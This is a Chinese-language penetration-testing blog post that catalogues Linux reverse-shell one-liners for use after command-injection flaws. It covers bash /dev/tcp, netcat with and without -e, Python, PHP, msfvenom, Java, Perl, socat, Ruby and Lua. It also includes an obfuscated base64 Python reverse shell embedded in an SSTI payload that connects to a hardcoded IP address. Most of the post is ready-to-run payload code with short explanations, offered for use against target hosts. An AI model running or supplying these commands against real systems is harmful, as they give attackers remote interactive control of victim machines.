linux反弹shell

  1. 0x01 前言
  2. 0x02 分类
  3. bash 反弹shell
  4. nc反弹shell
  5. python 反弹shell
  6. php反弹shell
  7. msfvenom 使用 反弹shell

0x01 前言


渗透测试中在遇到命令注入漏洞时,往往需要反弹shell,而反弹shell的姿势有很多,以前都是拿来主义,今天特地详细学习一下。

0x02 分类

测试环境:
kali -> 模拟受害主机
linux 服务器 -> 模拟攻击主机

bash 反弹shell


命令:

bash -i &> /dev/tcp/ip/port 0>&1

详解:

  • bash -i 打开一个交互平台
  • &> 将标准输入定向到标准输出
  • /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的

eg:

  • >& 标准输出和标准错误输出重新定位到 /dev/tcp/ip/port
  • 0>&1 将标准输入重定向到标准输出

流程如下:

>&:

0>&1:

注意:重定向是有顺序的!!!! 从左到右,必须先把输出定位到目标主机,才能,将输入重定向,不然的话,只能输出不能输入

具体参考linux重定向

test:

成功反弹,可以输入输出

bash -i &> /dev/tcp/ip/port

受害主机的输入的命令都会在攻击方主机显示出来,所执行命令的输出也会在攻击方主机显示出来,但是攻击方不能输入命令

bash -i < /dev/tcp/ip/port

攻击方控制输入,输出在受害者主机

命令完整解释:打开一个bash交互,将本机的标准输出和标准错误输出重定向到 /dev/tcp/ip/port 即重定向 到目标主机,之后再将标准输入重定向到标准输出。

nc反弹shell


1、主机支持 -e

由图可知,-e命令是指和目标主机连接后,执行对方发送的命令

命令:

nc -e /bin/bash ip port

解释:/bin/bash 指的是linux的一种shell,该命令的意思为,和目标连接而后,使用/bin 目录下的 bash shell 和对方主机交互

2、主机不支持 -e

由于-e 命令太危险,很多nc在安装时就已经把-e命令去掉了,所以没有-e命令时我们可以使用管道符来解决

命令:

攻击机: 打开两个命令行,监听两个端口

nc -l -vv -p port1
nc -l -vv -p port2

受害机:

nc ip port1 |/bin/bash| nc ip port2

解释:

  • 管道符的作用:将管道符前面的输出作为管道符后面的输入
  • 这样我们就可以在port1输入命令,之后交给/bin/bash 执行 然后 将/bin/bash 执行后的命令在传给 port2 输出

python 反弹shell


命令:


python -c
"
import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('ip',port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p = subprocess.call(['/bin/bash','-i']);
"

解释:

  • python -c 执行python 代码
  • import 引入python的三个库:socket os subprocess
  • socket(family,type[,protocal]) 使用给定的地址族、套接字类型、协议编号(默认为0)来创建套接字。

family:

AF_INET 服务器间网络通信

socket.SOCK_STREAM 流式socket , for TCP

函数:

s.fileno():返回套接字的文件描述符。

s.connect() :双方进行socket 连接

s.fileno() :返回套接字的文件描述符。

subprocess.call():执行命令,并返回执行状态,其中shell参数为False时,命令需要通过列表的方式传入,当shell为True时,可直接传入命令

os.dup2:

dup2 源码

#include <fcntl.h>
#include <unistd.h>

define BADEXIT -1

int dup2(int fd1, int fd2)
{
    if (fd1 != fd2) {
        if (fcntl(fd1, F_GETFL) < 0)
        return BADEXIT;
        if (fcntl(fd2, F_GETFL) >= 0)
        close(fd2);
    if (fcntl(fd1, F_DUPFD, fd2) < 0)
        return BADEXIT;
}
return fd2;
}

由源码可知:dup2 传入两个参数fd1,fd2(fd1必须存在) 两个参数相同则返回fd2,不同时,如果fd2存在,就把fd2 代表的那个文件关闭,将fd1代表的文件强行复制给fd2,fd2文件描述符不会发生变换(可以将文件描述符理解为c语言里面的指针,dup2()的作用就是改变指针fd2的指向)

命令解析

建立一个tcp流的socket套接字,之后连接对方主机,打开一个bash 交互,将标准输入,标准输出,标准错误输出重定向到soket连接。

test:

php反弹shell


代码1:

PHP -f 
$s = fsockopen("ip",port);
exec('/bin/bash -i  0>&3 1>&3 2>&3');

解释:

  • php -f 执行php代码
  • fsockopen() 建立一个网络连接或socket嵌套字,返回一个文件描述符

  • exec() 执行系统命令:打开一个bash交互,将标准输出、标准输入、标准错误输出,重定向到文件描述符3所指向的文件(该文件就是建立socket连接后的文件)

注意单双引号

msfvenom 使用 反弹shell


msfvenom -l payloads ‘cmd/unix/reverse’

查询payload路径信息

里面有 各种类型的反弹shell的路径

实际演练:

我们借助于MSF框架平台的msfvenom 工具自动生成一个python 反弹一句话

msfvenom -l payloads |grep ‘reverse_python’

注:grep 进行正则查询 | 将前面的查询结果作为后面的查询范围

查询命令路径:

生成payload:

msfvenom -p cmd/unix/reverse/python lhost=ip lport=port R

反弹:

test2 ruby

msfvenom -l payloads |grep “reverse_ruby”

查询路径

msfvenom -p cmd/unix/reverse_ruby lhost=ip lport=port R

生成payload

  • java 反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;
cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
  • perl 反弹shell

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • SSTl 反弹


[].__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('python -c "exec(\'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIzOS4xMDguMTgwLjE3MSIgICAgICA7ICAgIHBvcnQ9NTY3ODkgICAgICA7ICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pICAgICAgOyAgICBzLmNvbm5lY3QoKGhvc3QscG9ydCkpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMCkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDIpICAgICAgOyAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=\'.decode(\'base64\'))"')
  • socat 反弹

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<你的IP>:<你的端口>
  • ruby 反弹

ruby -rsocket -e'f=TCPSocket.open("<你的IP>",<你的端口>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • 不依赖于/bin/sh的shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<你的IP>","<你的端口>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • 如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("<你的IP>","<你的端口>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('<你的IP>','<你的端口>');os.execute('/bin/sh -i <&3 >&3 2>&3');"

注:使用那种语言的脚本是决定于受害机上的语言环境,在渗透测试中,要灵活运用这些不同语言的反弹shell命令


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sunsec98@gmail.com

文章标题:linux反弹shell

本文作者:Sunsec

发布时间:2018-10-06, 18:10:19

最后更新:2020-01-31, 20:16:56

原始链接:http://yoursite.com/2018/10/06/linux_反弹shell/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录